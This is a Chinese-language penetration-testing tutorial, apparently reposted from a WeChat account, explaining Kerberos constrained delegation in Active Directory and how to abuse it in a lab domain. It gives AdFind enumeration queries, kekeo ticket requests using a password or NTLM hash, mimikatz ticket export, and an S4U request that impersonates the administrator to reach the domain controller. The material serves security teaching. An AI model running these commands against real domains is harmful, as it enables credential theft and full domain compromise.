域渗透-约束委派

admin 2022年5月15日12:12:51评论93 views字数 2186阅读7分17秒阅读模式
域渗透-约束委派
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


委派

域委派是指域内用户将自身权限委派给服务账号或机器账号,让该账号能以该用户权限进行域内活动。
在域内只有服务账号机器账号具有委派属性。

服务账号(Service Account)是域用户的一种类型,是运行某些服务时所使用的账户。比如MSSQL运行时的账户
也可以将域用户通过注册SPN变为服务账号
机器账号(主机账户)是Domain computer组内的成员(一个普通域用户默认最多可以创建十个主机账号)

委派主要分为三类:
⾮约束委派(Unconstrained delegation
约束委派(Constrained Delegation)
基于资 源的约束委派(Resource Based Constrained Delegation)

委派前提
需要委派的用户未设置不允许被委派属性。
域渗透-约束委派
非约束委派攻击手法请看上文《域渗透-非约束委派


约束委派

由于非约束委派的不安全性,微软在WinServer 2003中发布了约束性委派,服务账号只能获取用户的 TGS ,所以只能模拟用户访问特定的服务。新增了两个协议
S4u2self:服务账户可以为自己请求一个针对自己的 Kerberos 服务票据(ST);如果服务账户的userAccountControl 标志为TRUSTED_TO_AUTH_FOR_DELEGATION, 则服务账户可以代表任何其他用户请求一个针对自身服务的 TGS/ST。
S4u2proxy:可以使⽤某⽤户身份的ST1去向KDC请求⼀张⽤于访问指定⽂件服务器的ST2,这张ST2的身份属于⽤户。这样服务账户就可以利⽤⽤户的权限去访问指定⽂件服务器上的⽂件了。

前提:开启了委派功能的服务或机器账户被约束了可以访问的服务(这里必须设置使⽤任何身份验证协议,否则⽆法触发s4u扩展)
域渗透-约束委派
userAccountControl 属性会包含TRUSTED_TO_AUTH_FOR_DELEGATION
域渗透-约束委派
并且msDS-AllowedToDelegateTo 属性会指定对哪个SPN进行委派
域渗透-约束委派

攻击原理:用户A访问服务B会向域控进行kerberos认证,域控返回ST1给用户用来访问服务B。这时服务B设置允许委派访问服务C,服务B则使用s4u2proxy协议将用户A的ST1以用户A的身份转发给域控,此时域控返回一个ST2给服务B。这时服务B则能使用ST2来访问服务C了;
如果这里当用户使用了非kerberos协议的身份认证时,会触发s4u扩展,服务账户可以请求自身的TGT,然后使用s4u2selfs4u2proxy来请求访问自身的ST1和访问约束服务cifs的ST2。
从利用角度来说,只要控制服务B,并且服务B配置了可以委派某台机器的cifs、ldap等服务,就可以拿下这台机器;如果可以委派到域控CIFS服务,我们就可以利用服务B以管理员权限访问域控CIFS进而控制域控。
 
1、使⽤AdFind
查找域内约束委派机器账户以及对应的委派对象
AdFind.exe -b "DC=testdc,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
AdFind.exe -h 10.10.10.5 -u winserver -up Test1234 -b "DC=testdc,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域内约束委派服务⽤户以及对应的委派对象
AdFind.exe -b "DC=testdc,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2、然后想方设法拿下被约束委派用户密码,使⽤kekeo申请tgt
tgt::ask /user:winserver /domain:testdc.com /password:Test1234 /ticket:winserver.kirbi
tgt::ask /user:winserver /domain:testdc.com /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:winserver.kirbi
不知道密码和hash,但我们如果有该用户主机管理员权限可以直接导出tgt票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

3、使用这张 TGT 通过伪造 s4u 请求以 administrator 用户身份请求访问域控CIFS的 ST
tgs::s4u /tgt:winserver.kirbi /user:[email protected] /service:cifs/DC.hack.com
然后将票据导入内存就可以访问域控cifs了。

原文始发于微信公众号(XG小刚):域渗透-约束委派

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月15日12:12:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透-约束委派http://cn-sec.com/archives/1008396.html

发表评论

匿名网友 填写信息